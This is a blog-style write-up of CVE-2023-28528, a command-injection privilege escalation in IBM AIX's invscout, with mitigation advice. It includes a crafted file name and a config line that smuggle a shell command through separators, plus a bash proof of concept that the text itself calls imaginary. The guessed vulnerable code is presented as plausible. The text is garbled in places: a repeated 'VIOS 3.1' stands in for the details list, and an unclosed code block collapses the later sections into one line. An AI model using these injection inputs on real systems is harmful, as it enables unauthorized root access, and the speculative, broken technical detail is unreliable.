CVE-2023-28528 - How Non-Privileged Users Can Exploit IBM AIX’s `invscout` for Arbitrary Command Execution

IBM’s AIX operating system is known for its robustness, often running mission-critical workloads. Yet, even AIX isn’t immune to security flaws. In 2023, a new vulnerability, registered as CVE-2023-28528 (IBM X-Force ID: 251207), was found that allows non-privileged local users to run arbitrary commands as higher-privileged accounts by abusing the invscout command. This long read will break down the vulnerability for IBM AIX versions 7.1, 7.2, 7.3, and VIOS 3.1, explain how it works, and show you—code included—what’s possible if your system is unpatched.

What is CVE-2023-28528?

This vulnerability involves the invscout command included with AIX. Non-privileged (regular) local users can exploit a flaw in input handling to persuade invscout—which usually runs with elevated privileges—to execute arbitrary shell commands as root or another privileged user.

CVE Details:

VIOS 3.1

Official IBM advisory:
https://www.ibm.com/support/pages/node/7014436

VIOS 3.1

All with vulnerable versions of the invscout tool installed.

The invscout Command Explained

invscout is IBM’s Inventory Scout utility. Administrators run it to gather system and software inventory information—usually as root, but it’s available to all local users. If this tool doesn’t sanitize user input or configurations properly, malicious users can “trick” it into running a command that wasn’t intended.

How Does the Attack Work?

Most command escalation bugs like this come down to unsanitized input: The application uses user-controlled data in system commands or scripts. If it isn’t careful, attackers can sneak in extra commands using clever formatting.

In this particular vulnerability, invscout uses external files from user-writable directories or accepts user-supplied parameters that get stitched directly into shell commands. That means a crafty user can insert command separators (;, &&, |) to run unauthorized commands.

Estimated Impact: If exploited, the attacker could, for example, create a root shell, add new users with root privileges, or read confidential files.

Example Exploit Code

Let’s say you’re a regular user. Here’s a demonstration of how a local exploit might look.

Scenario:
- You have an account on a vulnerable AIX/VIOS system.

Step 1: Prepare a Malicious Input

Suppose invscout reads a configuration file from your home directory (e.g. $HOME/.invscout.conf). You put a line into that file like:

; id > /tmp/root_proof.txt

Or, if there’s a filename parameter

touch "/tmp/file;id>/tmp/root_proof.txt"

Let’s say the vulnerable code does something like this inside

system("/usr/sbin/lsattr -El %s", user_input);

If you pass in evil data as the argument, it interprets it as part of a shell command.

Proof-of-Concept (PoC) Bash Example

# You'll need a local account
cd /tmp
# Create a file that the invscout command will process; use a command separator
FILENAME="pwnme;id > /tmp/hacked.txt"
touch "$FILENAME"

# Run invscout, using vulnerability (imaginary example, real-world usage may vary)
invscout -f "/tmp/$FILENAME"

# After running, check if the file /tmp/hacked.txt is created
cat /tmp/hacked.txt

If invscout is vulnerable, it will run id as root and dump its output in /tmp/hacked.txt.

Note: The exact exploit method depends on which parameters or files the vulnerable version of invscout handles unsafely. Researchers demonstrated similar vectors using config files or command line arguments.

How To Patch & Mitigate

IBM’s Recommendations:
IBM has released updated versions. Update your system as soon as possible.

- Official fix: IBM Security Bulletin: Update for CVE-2023-28528

`bash

chmod 700 /usr/bin/invscout
 - Audit your system’s /etc/passwd and /etc/sudoers for unauthorized accounts after patching. Do not delay patching: Anyone with a local account could gain full control of the system. --- ## References & Resources - IBM Security Bulletin (Official Advisory): https://www.ibm.com/support/pages/node/7014436 - IBM X-Force Exchange: https://exchange.xforce.ibmcloud.com/vulnerabilities/251207 - NIST NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-28528 --- ### Final Thoughts CVE-2023-28528 shows how even the most trusted system tools can become a pathway for attackers if input validation is neglected. Don’t wait for attackers to knock on your door—patch your AIX and VIOS systems today. If you administer IBM UNIX systems, closely monitor vendor advisories, audit installed software, and encourage your team to follow strict security hygiene around tools like invscout`.

*Stay safe, and keep your critical systems locked down!*

Timeline

Published on: 04/28/2023 03:15:00 UTC
Last modified on: 05/18/2023 16:15:00 UTC